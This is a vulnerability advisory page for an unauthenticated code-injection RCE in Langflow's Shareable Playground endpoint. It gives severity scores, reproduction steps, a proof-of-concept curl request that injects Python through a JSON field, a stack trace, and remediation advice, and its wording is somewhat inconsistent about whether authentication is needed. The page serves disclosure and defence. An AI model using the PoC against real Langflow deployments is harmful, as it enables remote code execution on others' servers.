What is the CVSS score of EUVD-2026-38514?

EUVD-2026-38514 has a CVSS 3.1 base score of 9.6 (Critical). CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H. EPSS exploitation probability: 0.5%.

Which versions of Langflow are affected by EUVD-2026-38514?

Langflow versions 1.9.1 and earlier contain a critical remote code execution vulnerability in the public flow sharing feature that allows unauthenticated attackers to execute arbitrary code on your…. A patch is available.

How to fix or mitigate EUVD-2026-38514?

Within 24 hours: Disable public flow/Shareable Playground features across all Langflow 1.9.1 and earlier deployments; restrict network access to /api/v1/build_public_tmp API endpoint. Within 7 days: Complete inventory of all Langflow instances running version 1.9.1 or earlier and assess business dependency on public flow features; deploy WAF rules blocking POST requests to /api/v1/build_public_tmp endpoint. Within 30 days: Transition from Langflow 1.9.1 and earlier to either alternative workflow automation platforms or isolated internal-only Langflow instances; maintain vendor communication channel to track patch availability.

Langflow EUVD-2026-38514

| CVE-2026-48519 CRITICAL

Code Injection (CWE-94)

2026-06-16 https://github.com/langflow-ai/langflow

GHSA-v5ff-9q35-q26f

Python Code Injection RCE

9.6

CVSS 3.1 · Vendor: https://github.com/langflow-ai/langflow

Severity by source

Vendor (https://github.com/langflow-ai/langflow) PRIMARY

9.6 CRITICAL

AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

vuln.today AI

10.0 CRITICAL

Endpoint is reachable over the network with no auth (AV:N/PR:N), single HTTP request triggers RCE without victim interaction (AC:L/UI:N), and code runs outside Langflow's security scope with full impact (S:C/C:H/I:H/A:H).

3.1 AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Primary rating from Vendor (https://github.com/langflow-ai/langflow).

CVSS VectorVendor: https://github.com/langflow-ai/langflow

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Attack Vector

Network

Attack Complexity

Low

Privileges Required

None

User Interaction

Required

Scope

Changed

Confidentiality

High

Integrity

High

Availability

High

Lifecycle Timeline

Source Code Evidence Fetched

Jun 16, 2026 - 18:21 vuln.today

Analysis Generated

Jun 16, 2026 - 18:21 vuln.today

CVE Published

Jun 16, 2026 - 17:35 github-advisory

CRITICAL 9.6

DescriptionCVE.org

Summary

The "Shareable Playground" (or "Public Flows" in code) contains a critical RCE vulnerability. Simply sharing a flow exposes the deployment to RCE risk by authenticated users.

Tested on commit 2d67402b1dbaefcbce85a244d4a6cd5e4bda1cfe

Details

Shareable Playground feature works by enabling the execution of workflows by unauthenticated users, by accessing a link. Specifically, it enables the route /api/v1/build_public_tmp to execute any public flow, given a public flow ID. When the route executes the flow, it allows for providing arbitrary custom Python code as the nodes code, inside the JSON payload!

The vulnerable field is data.nodes[X].data.node.template.code.value. See PoC for an example.

PoC

Reproduction:

Create a new flow and add a Chat Input node to it
Share the flow ("Shareable Playground")
Access the public link with the browser developers tools open and execute the flow.
Find the /api/v1/build_public_tmp route and copy as cURL
Edit the data.nodes[X].data.node.template.code.value JSON field with any python code and run the cURL command.

Example PoC (replace flow ID with the correct one), and download test_with_python.json:

bash

curl 'http://localhost:7860/api/v1/build_public_tmp/<flow-id>/flow?start_component_id=ChatInput-syEJp&log_builds=false&event_delivery=streaming' \
  -H 'Content-Type: application/json' \
  -b 'client_id=anything' \
  --data-raw "$(cat test_with_python.json)"

Search for touch /tmp/pwned in the test_with_python.json and edit for any other code.

The stacktrace for the code executed is:

...
  File "/Users/ori/Work/research/langchain/langflow/src/backend/base/langflow/api/build.py", line 495, in generate_flow_events
    ids, vertices_to_run, graph = await build_graph_and_get_order()
  File "/Users/ori/Work/research/langchain/langflow/src/backend/base/langflow/api/build.py", line 234, in build_graph_and_get_order
    graph = await create_graph(fresh_session, flow_id_str, flow_name)
  File "/Users/ori/Work/research/langchain/langflow/src/backend/base/langflow/api/build.py", line 298, in create_graph
    return await build_graph_from_data(
  File "/Users/ori/Work/research/langchain/langflow/src/backend/base/langflow/api/utils/core.py", line 192, in build_graph_from_data
    graph = Graph.from_payload(payload, str_flow_id, flow_name, kwargs.get("user_id"))
  File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py", line 1153, in from_payload
    graph.add_nodes_and_edges(vertices, edges)
  File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py", line 270, in add_nodes_and_edges
    self.initialize()
  File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py", line 512, in initialize
    self._build_graph()
  File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py", line 1305, in _build_graph
    self._instantiate_components_in_vertices()
  File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py", line 1347, in _instantiate_components_in_vertices
    vertex.instantiate_component(self.user_id)
  File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/vertex/base.py", line 382, in instantiate_component
    self.custom_component, _ = initialize.loading.instantiate_class(
  File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/interface/initialize/loading.py", line 45, in instantiate_class
    custom_component: CustomComponent | Component = class_object(
  File "<string>", line 59, in __init__

Impact

Unauthenticated RCE on any deployment with a shareable playground.

Ori Lahav Security Researcher @ Rubrik Inc.

Articles & Coverage 2

News 6 New Python Vulnerabilities - 2 Critical, 4 High Severity Jun 17, 2026 News Critical RCE in Langflow ≤1.9.1 Public Flows Endpoint - CVE-2026-48519 Jun 16, 2026

AnalysisAI

Remote code execution in Langflow versions through 1.9.1 allows unauthenticated attackers to execute arbitrary Python code on the host by abusing the Shareable Playground (Public Flows) feature. When a flow is shared, the /api/v1/build_public_tmp endpoint accepts user-supplied node code in the JSON payload field data.nodes[X].data.node.template.code.value and executes it during graph instantiation. Publicly available exploit code exists via the GitHub Security Advisory GHSA-v5ff-9q35-q26f, including a working cURL-based PoC.

Technical ContextAI

Langflow is a Python-based low-code platform (distributed as pkg:pip/langflow) for building LangChain-powered AI workflows by visually wiring together component nodes. The Shareable Playground feature exposes the route /api/v1/build_public_tmp/<flow-id>/flow so unauthenticated users can execute a shared flow. During graph construction (lfx/graph/graph/base.py → Graph.from_payload → _instantiate_components_in_vertices → instantiate_component), the server trusts the template.code.value field on each node and compiles it as the custom component class, which constitutes CWE-94 (Improper Control of Generation of Code, a.k.a. code injection). Because the code is taken from the request body rather than the persisted, owner-authored flow definition, any client can substitute their own Python and have it executed inside the Langflow process.

RemediationAI

Vendor-released patch: upgrade Langflow to 1.9.2 or later (pip install --upgrade 'langflow>=1.9.2'), as documented in GHSA-v5ff-9q35-q26f (https://github.com/langflow-ai/langflow/security/advisories/GHSA-v5ff-9q35-q26f). If immediate patching is not possible, unshare every flow (disable the Shareable Playground / Public Flows feature) so that no flow IDs are reachable via /api/v1/build_public_tmp, and block or reverse-proxy-deny that route at the ingress; note that this disables all public-playground demos and link sharing. Additionally, restrict network exposure of the Langflow service to trusted users via authentication-enforcing proxy or VPN and run the Langflow worker as a low-privileged, sandboxed (container/seccomp) user to limit blast radius if code execution still occurs.